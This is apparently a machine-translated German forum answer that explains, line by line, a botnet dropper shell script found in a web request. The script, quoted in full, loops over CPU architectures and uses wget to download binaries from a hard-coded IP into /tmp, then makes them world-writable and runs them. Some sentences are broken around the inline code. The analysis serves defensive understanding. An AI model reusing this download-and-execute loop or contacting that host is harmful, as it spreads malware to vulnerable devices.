Zeile für Zeile:
#!/bin/sh
Legt den sh
fest Shell, was auch immer das ist, als Shebang-Linie. sh%20/tmp/ks
in der Anfrage überschreibt dies, sodass diese Zeile als normaler Kommentar behandelt und ignoriert wird.
u="asgknskjdgn"
Deklariert einen willkürlichen Namen, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin mir nicht sicher, warum sie nicht einfach mktemp
verwenden würden , aber vielleicht ist das nicht auf allen Plattformen verfügbar.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Listet mehrere gängige CPU-Architekturen auf.
http_server="80.211.173.159"
http_port=80
Der Server, der den Exploit hat.
cd /tmp/||cd /var/
Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich glaube, dass SELinux dabei helfen wird, indem es viel strengere Regeln darüber durchsetzt, was der Webserver tun kann, als das Dateisystem alleine tut.
for name in $bin_names
do
Für jede CPU-Architektur…
rm -rf $u
Entfernt zuvor ausprobierte Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.
cp $SHELL $u
Kopiert die aktuelle ausführbare Shell-Datei (/bin/sh
). Kann wegen der Zeile nach next ignoriert werden.
chmod 777 $u
Jeder hat vollen Zugriff auf die neue Datei. Dies sollte nach wget
gewesen sein Befehl, der entweder ein Zeichen für einen Shell-Scripting-Neuling oder eine Fehlleitungstechnik ist.
>$u
Leert die Datei. Sinnlos wegen der nächsten Zeile.
wget http://$http_server:$http_port/$name -O -> $u
Überschreibt die Datei mit dem Exploit-Skript für diese Architektur. -O -> $u
hätte -O - > $u
geschrieben werden können (der Bindestrich zeigt an, dass der Download in die Standardausgabe geschrieben werden soll), was -O $u
entspricht .
./$u $name
Führt das Exploit-Skript mit der Architektur als erstem Argument aus.
done
Beendet die Schleife.
Es sieht so aus, als wäre dies ein triviales Exploit-Versuchsskript, das bekannte Exploits gegen verschiedene CPU-Plattformen ausprobiert. Ich weiß nicht, warum es $u
überschreibt dreimal, aber diese Operationen könnten einfach Überreste einer früheren Iteration des Skripts sein. Vermutlich hatte die frühere Version die Exploits fest codiert und nicht dynamisch bereitgestellt - Ersteres ist einfacher, garantiert aber fast, dass das Skript im Laufe der Zeit weniger effektiv ist, wenn Fehler gepatcht werden.
Die wget
ist die gefährlichste Schlüssellinie.
Die for name in $bin_names
arbeitet die Liste der Plattformen ab und löscht für jede Plattform ein temporäres Verzeichnis, kopiert eine Shell hinüber und macht sie dann für alle zugänglich.
Anschließend lädt es eine Datei mit wget
herunter und führt es dann mit dem gerade kopierten Shell-Programm aus.
Das Skript versucht im Grunde, eine Reihe von ausführbaren Dateien oder Skripts für jede mögliche Plattform herunterzuladen und sie gegen Ihr System zu reiben, in der Hoffnung, dass es Ihr System weiter gefährden kann.